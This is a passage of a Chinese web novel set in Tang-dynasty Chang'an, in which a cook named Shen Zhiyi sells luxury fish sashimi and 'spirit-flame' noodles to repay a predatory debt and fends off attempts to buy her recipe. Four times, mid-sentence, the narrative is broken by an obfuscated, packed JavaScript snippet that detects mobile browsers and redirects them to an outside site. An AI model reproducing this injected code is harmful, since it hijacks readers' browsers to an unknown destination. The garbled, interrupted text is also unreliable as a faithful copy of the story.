一辆看似朴素、实则木料做工皆非凡品的马车缓缓停在了街口。 车帘掀开，一位身着浅青圆领袍、头戴镂空玉冠、手持一柄泥金折扇的年轻郎君走了下来。 他面容俊朗，眉眼间带着几分漫不经心的疏懒与贵气，身后跟着两名低眉顺目却步履沉稳的随从。 他并未直接走向任何店铺，而是仿佛闲庭信步，目光随意扫过市井喧嚣，最终，落在了沈记食肆那块“金齑玉鲙”的牌子上。 他挑眉，声音带着一丝玩味的笑意，“一百文一份的鱼鲙？在这西市角落？倒是有趣。” 他踱步过来，目光掠过沈知意淡定的面容，又落在她手中那柄寒光闪闪的薄刃刀上，眼中玩味更甚，“小娘子，这鱼鲙可能入口？” 沈知意起身，不卑不亢：“郎君一尝便知。” “好。”年轻郎君“唰”地合上折扇，“就来一份。若名不副实，可是要砸招牌的。” “必不让郎君失望。” 沈知意颔首。她取出一份预存的冰镇鱼脍，动作行云流水地摆盘，将三碟蘸汁依次奉上。 那年轻郎君并未立刻动筷，而是先观其形，只见鱼片薄透如纱，纹理清晰，冰气氤氲，如玉生辉。他眼中闪过一丝讶异，这才执箸，夹起一片，先蘸了那金色的“金齑”送入口中。 瞬间，他咀嚼的动作微微一顿。鱼肉冰凉弹牙，鲜甜无比，毫无腥气，而那金齑的酸甜醇厚恰到好处地提升了鱼肉的鲜，橙香清新，粟米增稠挂味，口感层次妙不可言。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405753|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又试了辣豉汁，辛香开胃，别具风味。盐醋汁则极致简约，更能凸显鱼肉本味的清鲜。 他并未像寻常食客那般大声赞叹，只是慢条斯理地将一整份鱼脍细细吃完，期间未发一言。 直到放下筷子，他用丝帕擦了擦嘴角，才抬眼看向沈知意，眸光深邃：“好一个‘金齑玉鲙’。刀工如神，调味如韵。一百文，不贵。剩下的四份，某全要了。” 全场哗然！ 福伯惊得张大了嘴。 周围看热闹的人更是议论纷纷，猜测这年轻郎君是何方神圣。 沈知意心中亦是一震，但面上依旧平静：“抱歉，郎君，本店规矩，每日限供五份，每人限购一份，意在让更多食客得以品尝。您已用了一份，剩余四份，恕不能再售与您。” 年轻郎君明显愣了一下，似乎从未被人如此拒绝过。 他身后的随从面色一沉，上前半步。 年轻郎君却抬手制止，他盯着沈知意看了片刻，忽然笑了起来：“有意思。竟还是个有规矩的。罢了，今日便依你。” 他抛出一角银子，足有一两多重，“这是鱼钱，不必找了。剩下的份，盼真能有缘人得之。” 言罢，竟不再多留，转身登车离去，仿佛只是偶然兴起，尝了个鲜。 这一两银子，远超五份鱼脍之价！且他那句“一百文不贵”和包揽之举，无疑是最好的广告。 剩余四份鱼脍，几乎是在瞬间便被几个一直在旁观望、看似富庶的行商抢购一空。一百文虽肉痛，但那年轻郎君的气度做不了假，能让他称赞“不贵”的东西，岂是凡品？ 沈知意并未被突如其来的横财冲昏头脑。她清楚知道，这等昂贵菜品只能偶一为之，作为扬名和吸引高端客源的噱头，真正支撑食肆的，还是每日不断的胡麻饼和臊子面。 她将那一两银子仔细收好，这是兄长的救命钱。 随后，又将今日卖寻常吃食所得，拿出该还的利钱，让福伯送去刘府。 然而，不到一炷香的功夫，福伯却脸色惨白、跌跌撞撞地跑了回来，声音发颤：“六、六娘！不好了！那赵管家说、说刘公对咱们提前还部分本金很不满，认为咱们有意拖延！他勒令……勒令咱们三日之内，必须连本带利还清所有欠款，否则、否则就要带人来收铺子抵债！” 沈知意手中的抹布“啪”地掉入水中。 刚刚因“金齑玉鲙”成功而带来的些许轻松，瞬间被这突如其来的噩耗击得粉碎。 三日！十贯钱！这简直是逼人上绝路！ 5. 第 5 章 暮色四合，西市的喧嚣如潮水般退去，只余下零星灯火和远处传来的、预示着坊门将闭的沉沉鼓声。 沈知意独自坐在空荡的食肆里，指尖冰凉。 福伯带回来的消息像一盆冰水，将她连日来辛苦积攒的热切与希望浇得透心凉。 三日。十贯钱。 这已不是催债，而是明目张胆的逼迫。 刘家见她生意渐起，便想趁她根基未稳，要么一口吞下这只会下金蛋的母鸡，要么就直接掐死，不留半点余地。 十贯钱，一万文。即便这几日生意不错，刨去成本、药费和已还的利息，她手头满打满算也不过攒下两贯余钱。三日之内要凑足剩余八贯，除非天上掉馅饼。 可她沈知意，从来不信天上会掉馅饼。她只信自己这双手，和脑子里千年积累的厨艺。 深吸一口气，压下心头的惊涛骇浪，她起身关紧店门，将渐深的夜色和潜在的窥探目光隔绝在外。 随后，她点亮油灯，摊开一张粗糙的麻纸，提笔蘸墨，开始疾书。 她声音冷静得听不出一丝波澜，“福伯，您现在立刻去一趟东市，按这单子上写的，不惜代价，将这些东西买齐。记住，分几家店买，莫要声张。” 福伯接过单子，就着灯光一看，手又是一抖：“六娘，这、这蜜饯雕花、胡商香料……还有这上好的吴盐……价钿怕是……” “钱的事您别操心，尽管去买。” 沈知意将今日卖鱼脍得来的那角银子塞进他手里。 “要快，在坊门关闭前赶回来。” 福伯看着她沉静如水的眸子，一咬牙，揣好银子和单子，转身匆匆没入夜色。 沈知意又转向角落里那盆昨日熬煮羊骨、豚骨剩下的浓白高汤。 她仔细撇去浮油，将汤重新坐于灶上，文火慢煨，让汤汁收得更浓更醇。 接着，她取来今日剩下的豚肉臊子，加入更多焙香磨细的花椒粉、茱萸粉，又倒入少许醪糟汁和饴糖，重新翻炒熬制，直到肉臊变得愈发油亮红润，香气更加复合深沉，几乎能引出人最原始的食欲。 她知道，常规的买卖绝无可能在三天内赚到八贯钱。唯有行险一搏，拿出真正压箱底的本事，做一样前所未有、能让人心甘情愿掏出远超寻常饭食价钱的东西。 她的目标，不是那些每日为饱腹而来的寻常食客，而是长安城里那些追求新奇、舍得花钱、味蕾挑剔的富家子弟、文人清客，乃至更深宅院里的人物。 她要做的，是一碗能惊艳长安的面。 一个时辰后，福伯气喘吁吁地背着一个鼓囊囊的布包回来了，脸上又是肉痛又是紧张：“六娘，东西都齐了，花了足足七百文！” 沈知意检查了采购来的物资，尤其是几样来自胡商的珍贵香料和色泽鲜艳的蜜饯果脯，点了点头：“值。” 这一夜，沈记食肆的灯火亮至深夜。 沈知意将自己关在灶间，不许福伯靠近。 里面不时传来轻微的捣碾声、熬煮声以及一种越来越奇异、越来越勾人的复合香气，那香气似乎融合了肉类的丰腴、香料的辛芳、果木的烟熏气，还有一种难以言喻的鲜香，层层叠叠，霸道地弥漫开来，连隔壁早已睡下的浆饮阿婆都在梦中咂了咂嘴。 第二日，西市甫开。 沈记食肆门口并未如常摆出食牌，反而挂起了一幅临时书就的素帛，上面墨迹淋漓，写着一行颇显张扬的字： “今日仅售：‘灵焰臊子面’，一碗五十文，限售一百五十碗，售罄即止。” 五十文！？ 这个价格如同平地惊雷，瞬间炸懵了所有早起赶来的老主顾。 “五十文？！小娘子，你莫不是真疯了！” “昨日那鱼脍卖一百文也就罢了，好歹是金贵物什，一碗面卖五十文？这面是拿灵芝仙草煮的不成？” “走了走了，真是黑心！当我们是冤大头么！” 昨日还夸臊子面痛快的工匠愤愤然地啐了一口，扭头就走。 张记蒸饼的胖掌柜见状，终于忍不住幸灾乐祸地大笑出声：“哈哈哈！沈小娘子，你这是穷疯了吧？五十文一碗的面？鬼才吃你的！等着关门大吉吧！” 面对潮水般的质疑和嘲讽，沈知意却恍若未闻。 她今日特意换了一身干净的藕色衣裙，头发梳得一丝不苟，神情平静地站在一口咕嘟冒泡、香气极其霸道浓郁的大锅前。 锅旁案上，整齐摆放着十几个小碟，里面盛着各种颜色各异、形状不同的配料：深红的肉臊、碧绿的芫荽、嫩黄的笋丝、焦香的炸黄豆、酥脆的油渣、还有几样谁也认不出的、闪着油光或裹着糖霜的神秘配料。 那锅汤的香气实在太诡异了。 它似乎拥有某种魔力，初闻是极致的辛香麻辣，勾得人口舌生津。细嗅之下，又有一股沉稳的肉鲜和骨醇垫底。再品，似乎还有一丝若有若无的果木甜香和烟熏气息缠绕其间，复杂得让人头晕目眩，却又欲罢不能。 起初，无人上前。 人们只是围观的越来越多，议论纷纷，都被这价格和这异香吊足了胃口和好奇心。 终于，一个穿着绸缎、看似某家商号管事的中年人忍不住了，排众而出，摸出五十文钱拍在案上：“娘的！老子倒要尝尝，你这五十文一碗的面，到底是个什么神仙滋味！要是糊弄人，休怪某砸了你的招牌！” “客官稍候。” 沈知意面色不变，取过一个海碗，先舀入小半碗熬得浓白如乳、滚烫的骨汤。 接着，她手法快如穿花蝴蝶，依次加入焯好的鲜嫩菜心、一勺炒得喷香的豚肉臊子、一勺酥脆油渣、一撮炸黄豆、几丝嫩笋。 最后，她拿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405754|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个小勺，从另一个温着的小锅里，舀起一勺黑亮粘稠、闪烁着诱人光泽、散发着浓郁酱香和一丝焦糖气息的神秘酱汁，淋在面上。 最令人叫绝的一步来了。 她取过一小碟深红色的粉末，用指尖拈起少许，手腕轻抖，均匀撒在碗中。 随后，她将一小勺烧得滚烫的豚油，“刺啦”一声，精准地浇在那粉末之上。 霎时间，一股难以形容的、复合了焦香、辣香、蒜香、以及某种奇异鲜香的白烟腾起，如同灵焰骤燃，将碗中所有食材的香气彻底激发、融合、升华！整个场面蔚为奇观。 那浓郁的异香瞬间爆炸开来，席卷了整条街道，霸道得几乎让所有人同时吞咽了一口口水。 那商号管事看得目瞪口呆，待到那碗面被推到他面前时，只见红油赤酱，色彩斑斓，热气腾腾，异香扑鼻，光是卖相就已远超寻常面食。 他迟疑地拿起筷子，拌开，挑起一筷吹了吹，送入嘴中。 下一秒，他整个人僵住了，眼睛猛地瞪得溜圆，脸颊迅速泛红，额头鼻尖瞬间渗出细密的汗珠。 “嘶——哈——” 他倒吸着气，却舍不得吐出嘴里的面，反而加快了咀嚼的速度，一口接一口，吃得满头大汗，畅快淋漓，嘴里含糊不清地嗷嗷直叫。 “香！辣！麻！鲜！……这、这味道……绝了！值！五十文太值了！” 这反应比任何广告都管用。 人群瞬间骚动起来。 “给我来一碗！” “某也要！快！” “娘的，拼了！五十文就五十文！” 长长的队伍瞬间成型，铜钱如同雨点般落在案上。 那口香气诡异的大锅和沈知意神乎其技的“灵焰”一浇，成了最好的招牌。 福伯收钱收到手软，笑得合不拢嘴。 对面张记掌柜的笑容僵在脸上，脸色由红转青，最终灰溜溜地缩回了店里。 一辆不起眼的青篷马车悄然停在街角，车帘微掀，露出一双沉静观察的眼睛，正是昨日那位品尝鱼鲙的贵公子。 他看着店前火爆的景象和沈知意沉稳忙碌的身影，嘴角勾起一丝不易察觉的弧度，对车夫低语了几句，马车悄然离去。 至午后，一百五十碗面售罄。后来者只能扼腕叹息。 清点收入，足足七贯五百文！ 加上此前攒下的，已远超十贯之数！ 沈知意捏着沉甸甸的钱袋，长长舒了一口气，背后却已被汗水湿透。 赌赢了。 然而，就在她准备打烊，计算着如何应对明日刘家来人时，一个穿着体面、面白无须的中年人悄无声息地出现在店门口，声音不高却带着一种不容置疑的意味。 “沈小娘子，我家主人有请，想问问你这‘灵焰’的秘方，愿否割爱？” 6. 第 6 章 那中年人的声音不高，却带着一种奇特的穿透力，将食肆内刚刚松快下来的气氛瞬间冻结。 福伯脸上的笑容僵住，下意识地攥紧了手中的抹布，紧张地看向沈知意。 刚刚还因收入丰厚而雀跃的心，一下子提到了嗓子眼。 秘方？这可是六娘熬了一夜、好不容易才弄出来的宝贝，是还清债务、救回大郎性命的指望！ 沈知意洗净手，转过身，看向来人。 对方约莫四十上下年纪，面皮白净，眼神平静无波，穿着藏青色的圆领常服，料子普通，但浆洗得一丝不苟，举止间带着一种不疾不徐的沉稳，不像寻常商贾，倒似某些高门大户里颇有体面的管事之流。 她心中警铃微作，面上却不露分毫，只擦了擦手，平静道：“这位先生谬赞了。不过是些糊口的粗浅手艺，哪里称得上什么秘方，更谈不上割爱了。” 那中年人似乎料到她会拒绝，并不着恼，只微微一笑，语气依旧平和，却带着不容置疑的意味：“小娘子过谦了。‘灵焰’一浇，满街飘香，百五十碗顷刻售罄，这岂是寻常粗浅手艺？我家主人素好美食，尤喜新奇之物，愿出高价，绝不让小娘子吃亏。” 他略一停顿，报出一个数目，“这个数，买小娘子这‘灵焰’的调配之法，如何？” 福伯在一旁听得倒吸一口凉气，那数目，足以在长安城置办一处不错的小宅院了。 他下意识地看向沈知意，嘴唇哆嗦着，几乎要替她答应下来。 沈知意的心也是猛地一跳。 巨额债务的压力和兄长医药费的沉重，让她几乎有一瞬间的动摇。 但她立刻清醒过来。这“灵焰”的核心在于那熬制一夜的复合酱料和最后那画龙点睛的热油浇泼技巧，是其立足长安、未来发展的根本之一。 今日若为解一时之急卖了，他日对方大规模仿制，她这食肆便再无独特优势。 更何况，对方来历不明，出手如此阔绰，背后恐非普通富户，贸然牵扯，福祸难料。 她深吸一口气，压下杂念，再次坚定摇头：“承蒙贵主人看重，但此乃小店立足之本，恕难从命。先生请回吧。” 那中年人脸上的笑容淡了些，目光在沈知意脸上停留片刻，似乎想看清她是真的不为所动，还是待价而沽。 最终，他点了点头，语气依旧听不出喜怒：“既如此，不便强求。但愿小娘子日后莫要后悔今日决定。” 言罢，竟不再多话，转身便走，身影很快消失在渐暗的街巷中。 来人走得干脆，反而让沈知意心头更沉。 那最后一句，隐隐带着一丝说不清道不明的意味。 “六娘……那、那么多钱……” 福伯这才敢出声，声音里满是惋惜和后怕。 “福伯，钱能赚，立身的根本不能卖。”沈知意打断他，语气坚决，“快去把药煎上，我看看阿兄。” 她拿起那份早已备好的、沉甸甸的十贯钱，心情复杂地走向后院。 方才那中年人的出现，像是一盆冷水，浇熄了她今日成功的喜悦，让她更清醒地认识到，在这长安城立足，光有手艺还远远不够。 沈砚的房间里依旧弥漫着药味，但比前几日似乎少了些沉疴的死气。 孙郎中今日清晨又来复诊过一次，调整了药方，言道咯血已止，病情暂稳，但仍需静养和名贵药材温补，千万不能再受刺激。 沈知意推门进去时，沈砚正醒着，靠坐在榻上，脸色依旧苍白，但眼神比往日清明了许多。 窗外食肆的喧嚣隐约可闻，他显然也听到了今日的不同寻常。 “六娘……”他声音微弱，却带着担忧，“外面……可是又有人为难你？” 他听到了方才前店隐约的对话声，虽不真切，却敏感地察觉到了异常。 沈知意将钱袋放在榻边小几上，发出沉闷的声响，努力挤出一个轻松的笑容：“没有的事，阿兄别瞎想。你看，钱攒够了，明日就去把刘家的债彻底清了！孙郎中说你见好了，咱们以后的日子会越来越好的。” 沈砚看着那鼓囊囊的钱袋，又看看妹妹强装笑颜却难掩疲惫的脸，心中酸涩不已。 他何其聪慧，怎会猜不到这几日妹妹承受了多大的压力。 “苦了你了……是阿兄没用……” “阿兄说的什么话！”沈知意握住他冰凉的手，“咱们是一家人，不说这些。你好好吃药，快点好起来，就是对我最大的帮忙了。” 她仔细替他掖好被角，“我去准备晚饭，今日咱们也尝尝那‘灵焰面’！” 伺候沈砚吃完药和一碗特意留下的、未浇辣油的清淡版“灵焰面”后，沈砚的精神似乎又好了一些，甚至能稍稍坐久些，同她说了几句话。 次日清晨，沈知意特意晚了些开张。 她将十贯钱仔细串好，用布包了，让福伯守在店里，自己亲自前往刘府。 刘府门庭高大，石狮威严。通传之后，出来见她的依旧是那位赵管家。 他见到沈知意手中沉甸甸的钱袋，三角眼里闪过一丝明显的错愕和不易察觉的阴鸷。 他显然没料到，这沈家小娘子竟真能在三日内凑足十贯钱！ “赵管家，这是十贯钱，连本带利，请您清点。” 沈知意将布包递上，声音清晰平静。 赵管家接过钱，掂了掂，皮笑肉不笑地道：“沈小娘子真是好本事啊！三日便凑足了十贯，看来那食肆真是日进斗金呐！” “糊口而已，比不得刘府家大业大。”沈知意不卑不亢，“既然钱款两清，还请赵管家将先父立下的字据归还。” 赵管家哼了一声，慢条斯理地让人取来字据，却并不立刻递给她，反而上下打量着她，阴阳怪气道：“字据自然给你。不过……小娘子，这长安城水深，做生意光靠手艺可不行，还得懂规矩，识时务。昨日……是不是有人去找过你了？” 沈知意心中一动，面上却不显：“我不明白赵管家的意思。字据既然两清，我便告辞了。” 她伸手欲拿回字据。 赵管家却将字据稍稍往后一撤，压低了些声音，带着几分威胁之意：“小娘子，别敬酒不吃吃罚酒。有些人，可不是你能得罪得起的。卖了方子，拿钱消灾，安安生生开你的小店，岂不美哉？何必自寻烦恼？” 沈知意立刻明白了，昨日那中年人，恐怕与刘家脱不了干系，甚至可能就是刘家背后指使，或是刘家得知消息后也想分一杯羹。 她心中怒火升腾，却强自压下，一把夺过字据，冷声道：“不劳赵管家费心。我的店，我自有主张。” 说罢，转身便走，毫不留恋。 赵管家看着她挺直的背影，脸色阴沉下来，狠狠啐了一口：“不识抬举的丫头片子！有你哭的时候！” 沈知意拿着那张泛黄的字据，走出刘府高高的门楼，阳光照在身上，却感觉不到多少暖意。 还清债务的轻松感被更大的忧虑所取代。 刘家显然并未罢休，昨日那神秘人的威胁也言犹在耳。 回到食肆，她将字据仔细收好，心情却无法真正轻松。 她依旧卖着“灵焰面”和胡麻饼，生意依旧火爆，但她敏锐地察觉到，斜对面张记蒸饼的掌柜看她的眼神，除了嫉妒，似乎还多了些别的东西，偶尔与路过的市署小吏低声交谈时，还会朝她这边瞥上一眼。 又过了两日，沈记食肆的生意依旧红火，沈知意却愈发谨慎。 她减少了“灵焰面”的每日供应量，开始琢磨一些新的、不那么扎眼却也能保证利润的日常菜品，比如改良后的夹肉蒸饼、用料更实在的汤饼。 这日午后，食客稍稀，一辆看似普通、实则用料考究的青毡马车缓缓停在了街口。 车帘掀开，先下来的竟是多日未见的苏晏清。 他今日依旧是一身月白襕袍，笑容温润，下车后却并未立刻走向食肆，而是转身，微微躬身，向着车内温言道：“姑母，便是这家小店了。您慢些。” 一只保养得宜、戴着玉镯的手搭在了苏晏清的手臂上，一位身着沉香色暗花缎面褶裙、外罩同色半臂、头戴帷帽的妇人，仪态优雅地缓缓步下马车。 虽看不清全貌，但其通身的气度与这喧闹的西市格格不入，引得周遭行人纷纷侧目。 那妇人身旁还跟着一个同样衣着体面、神情严肃的老嬷嬷。 苏晏清扶着那妇人，缓步走向沈记食肆。 福伯何时见过这等阵仗，一时手足无措。沈知意心中亦是惊讶，连忙迎出。 “苏录事。” 苏晏清微笑着介绍：“沈小娘子，这位是在下姑母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405755|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。姑母素日里胃口不佳，听闻小娘子手艺非凡，特来尝尝。” 那帷帽下的目光似乎落在沈知意身上，轻轻颔首，并未言语，自有身旁的老嬷嬷代为开口，声音平直无波：“我家夫人不用荤腥，不喜油腻，口味需清淡雅致，小娘子可能调理？” 沈知意心中念头急转，这位“姑母”气度非凡，连苏晏清都如此恭敬，绝非寻常人物。 她压下心绪，从容应道：“夫人、苏录事请里面稍坐。小店虽陋，自有清淡之物，请稍候片刻。” 她将三人引至店内唯一一张还算干净整洁的桌子旁坐下，自己迅速回到灶间。 不用荤腥，不喜油腻，要清淡雅致……这考验的才是真功夫。 她目光扫过现有的食材，心思电转。 很快，她取来最新鲜的菘菜心，只取最嫩的菜胆，快速焯水，保持翠色，捞出后用冰镇井水激一下，沥干。又取来昨日熬好、已撇尽浮油的高汤，舀出清亮的部分，重新入小锅烧开，只加少许吴盐调味。 另起一小锅，加入少许清水和饴糖，熬成淡淡的蜜色糖浆，放入几枚洗净的红枣和一小把枸杞慢煨。 接着，她取来少量最细的白面，加入少许盐和清水，快速揉成一个极光滑的小面团，擀成薄如纸张的面皮，切成细如发丝的银丝面。 清汤滚开，银丝面下去片刻即熟，捞入一个素白瓷碗中，浇入清汤，汤色清澈见底。 中间放入翠绿的菘菜心，周围饰以两三颗蜜枣、几粒红艳的枸杞。 最后，她取来一小碟自己前几日试着用秋葵籽磨碎调制的、类似藕粉的透明芡汁，勾了极薄的一层琉璃芡，淋在菜心之上，使其更显晶莹剔透。 一碗清澈见底、素白翠绿点缀红黄、热气微腾的“清汤银丝素面”便成了。 旁边配了一小碟她自制的、用秋梨和蜂蜜慢熬而成的梨膏，言明若觉口味过淡，可略蘸食少许。 当这碗面被端到那位夫人面前时，一直沉默不语的老嬷嬷眼中闪过一丝讶异。 苏晏清亦是微微颔首。 那夫人伸出纤长的手指，轻轻掀起帷帽一角，露出线条优美的下颌和淡色的唇。 她执起银箸，先观其色，清透雅致。再闻其味，只有淡淡的汤鲜和一丝若有若无的果甜。她夹起一根银丝面，送入口中，细细咀嚼。 面条极细却韧，吸饱了清汤的鲜。菘菜心清甜脆嫩，蜜枣枸杞带来自然的甘甜。整体口味极致清淡，却绝非无味，各种食材本真的鲜甜层次分明，融合得恰到好处，吃完后口齿清爽，毫无负担。 她并未多吃，只用了小半碗，尝了尝菜心，便放下了筷子。 身旁的老嬷嬷立刻递上温热的巾帕。 “很好。” 帷帽下，传来一道温和却略带疏离的声音，如玉石轻叩。 “清淡却不寡淡，颇见心思。” 她目光转向沈知意：“这梨膏，也是你自制的？” “回夫人，是。” 沈知意恭谨答道。 那夫人微微颔首，对老嬷嬷低语了一句。 老嬷嬷便从随身锦囊中取出一枚银锞子，放在桌上，道：“这是夫人赏你的。” 沈知意一看那银锞子，足有五两重，远超一碗面钱，连忙道：“夫人厚赏，小女子愧不敢当。一碗面不值……” “收下吧。”苏晏清温声打断她，“姑母不常夸人，这是你应得的。” 那夫人已起身，苏晏清连忙搀扶。 老嬷嬷对沈知意道：“夫人问你，可愿偶尔过府，专司调理几日羹汤？” 沈知意心中一震，这是天大的机遇。 但……她看了一眼后院方向，谨慎道：“承蒙夫人抬爱，小女子感激不尽。只是家兄病重，需人时刻照料，恐难离店太久。” 那夫人闻言，脚步微顿，帷帽似乎向她这边偏了偏，却未再说什么，在苏晏清的搀扶下缓步离去。 马车驶远，沈知意看着桌上那枚沉甸甸的银锞子，心中波澜起伏。 这位贵人既是苏录事带来的，想必不是那难缠之人，应当不会因自个的拒绝而心生怨恨。 且想到病榻上的兄长，她并不后悔。 然而就在那辆马车驶离不久，斜对面张记蒸饼的胖掌柜，飞快地朝着某个方向，打了个隐秘的手势。 7. 第 7 章 贵人马车驶离后留下的那枚银锞子，在午后略显昏暗的食肆里闪着冷冽而诱人的光。 福伯捧着那锭银子，手抖得几乎拿不住，脸上又是激动又是惶恐：“六、六娘……这……这可是五两足银啊！抵得上咱们辛苦好些日子了！那位夫人到底是何等人物？” 沈知意心中亦不平静。 那夫人通身的气度，苏晏清恭敬的态度，老嬷嬷一丝不苟的做派，无不昭示着对方来历非凡。 这等人物，平日绝不会踏足西市这等喧杂之地，今日前来，绝非仅仅为了一碗素面。 是苏晏清有意引荐还是昨日那欲购秘方的中年人与此有关？ 沈知意心中疑虑丛生，却无法对福伯言明，只将银子仔细收好，沉声道：“福伯，贵人心思，不是我们能揣测的。这钱是赏赐，也是敲打。咱们只管做好自己的生意，谨言慎行，莫要惹祸上身。” 她走到门口，目光状若无意地扫过斜对面的张记蒸饼铺。 那胖掌柜正低头揉面，似乎并未关注这边，但沈知意敏锐地捕捉到他眼角余光曾飞快地瞥向那辆离去的马车，又迅速收回。 她转身回店，并未被这意外之财冲昏头脑，依旧将下午剩下的“灵焰面”和胡麻饼卖完。 只是心中已暗自决定，明日便不再主推这过于扎眼的“灵焰面”，转而力推更为日常的改良版蒸饼和汤饼。 并将那碗“清汤银丝素面”加入食牌，定价三十文，作为清淡口味的选择，虽利润不及“灵焰”，却更为稳妥。 接下来的两日，沈记食肆的生意依旧忙碌，却似乎恢复了某种表面的平静。 刘家并未再来找麻烦，那日的神秘中年人亦未再现身。 沈知意小心翼翼地经营着，将大部分收入都换成了兄长所需的药材。 沈砚的病在昂贵药物的支撑下，竟真的有了起色。 咯血止住后，咳嗽渐轻，脸色虽仍苍白，却已能偶尔在福伯的搀扶下，于院中稍坐片刻，晒晒太阳。 这无疑是连日来最让沈知意欣慰的事情。 这日清晨，沈知意正在灶间忙碌，准备着今日的食材，忽闻店外传来一阵熟悉的、略显油滑的吆喝声： “沈小娘子！发财了啊！近日生意这般红火，可还记得关照关照老街坊？” 沈知意抬头，只见是西市里专替人跑腿传话、偶尔也倒卖些小道消息的帮闲刘三儿。 他搓着手，笑嘻嘻地站在门口，一双眼睛却滴溜溜地在店内扫视，尤其在看到那新添的几袋白面和墙角那罐显然价值不菲的胡麻油时，目光闪烁了一下。 “刘三哥说笑了，混口饭吃罢了。”沈知意手下不停，淡淡应道，“今日要用些什么？” “嘿，老规矩，两个胡麻饼，夹肉！”刘三儿排出五文钱，凑近了些，压低声音道，“小娘子，不是三哥多嘴，你近日可是得罪什么人了？” 沈知意心中一动，面上却不露声色：“刘三哥何处此言？” 刘三儿一副了然于胸的模样，“啧，你别瞒三哥。我可听说了，前几日刘府那赵管家，在市署里跟人喝酒时，没少念叨你，说什么……不识抬举，不懂规矩，早晚有苦头吃之类的。还有啊，” 他声音压得更低，朝斜对面努了努嘴，“张胖子最近可没少往市署里那个王录事家跑，手里可都没空着。” 沈知意的心缓缓沉了下去。 果然，刘家并未罢休，甚至可能已经联合了对面眼红的张记，准备从市署方面给她下绊子。 唐代市场管理严格，市署官员若想找一家小店的麻烦，简直易如反掌。 她将夹好肉臊的饼递给刘三儿，又额外多给了一个素饼：“多谢刘三哥提点。一点心意。” 刘三儿接过饼，嘿嘿一笑：“小娘子是明白人。这西市里头，风吹草动，瞒不过三哥我的耳朵。往后有啥消息，我再来告诉你！” 说罢，揣着饼，晃悠悠地走了。 福伯在一旁听得脸色发白，凑过来低声道：“六娘，这…这可如何是好？市署要是来找麻烦，咱们这店还怎么开下去？” 沈知意抿紧嘴唇，目光扫过店内。 新买的面粉、油罐，兄长老贵的药材，还有那枚不敢轻易动用的银锞子。 这一切刚刚有起色，绝不能再被打回原形。 “兵来将挡，水来土掩。” 她声音不高，却带着一股韧劲。 “福伯，从今日起，所有采买用料，务必更加仔细，斤两、成色都要最好的，账目记清，不留任何把柄。店里打扫得更干净些，尤其是灶台，绝不能让人挑出半点错处。” “哎，哎！好！” 福伯连忙应下。 正说着，隔壁浆饮铺的阿婆端着一碗热气腾腾的浆水走了过来，脸上带着关切：“六娘，刚才刘三儿那碎嘴子是不是又来聒噪了？你别怕，那起子小人，就见不得别人好。咱们这条街上，谁不知道你手艺好，做人厚道？真要有事，街坊们都能给你说句公道话。” 说话间，旁边铁匠铺的老张也探出头来，粗着嗓子道：“沈小娘子，有啥要帮忙的只管言语！俺老张别的没有，一把子力气还是有的！那张胖子要是敢使坏，俺第一个不答应！” 陆续又有几家相邻的铺户主人出声附和。 他们平日虽也竞争，但更厌恶刘家、张记那般仗势欺人、背后捅刀的行径。 沈知意手艺好，为人又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405756|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和气，还时常送些吃食给他们尝鲜，早已赢得了这些市井邻居的好感。 沈知意看着那一张张或关切或愤慨的面孔，心中涌起一股暖流。 她穿越而来，举目无亲，此刻却真切地感受到了来自市井街坊的照拂与好意。 “多谢阿婆！多谢张叔！多谢各位高邻！”她深深一福，“有大家这些话，知意心里就踏实多了。” 送走众人，沈知意深吸一口气，将担忧暂时压下，更加专注地投入到眼前的活计中。 她今日特意多做了些拿手的胡麻饼，每到午间食客稍稀时，便让福伯给左邻右舍相熟的铺户各送去几个。 午后，一位常来买面、穿着洗得发白的青衿的老书生如往常般来吃面。 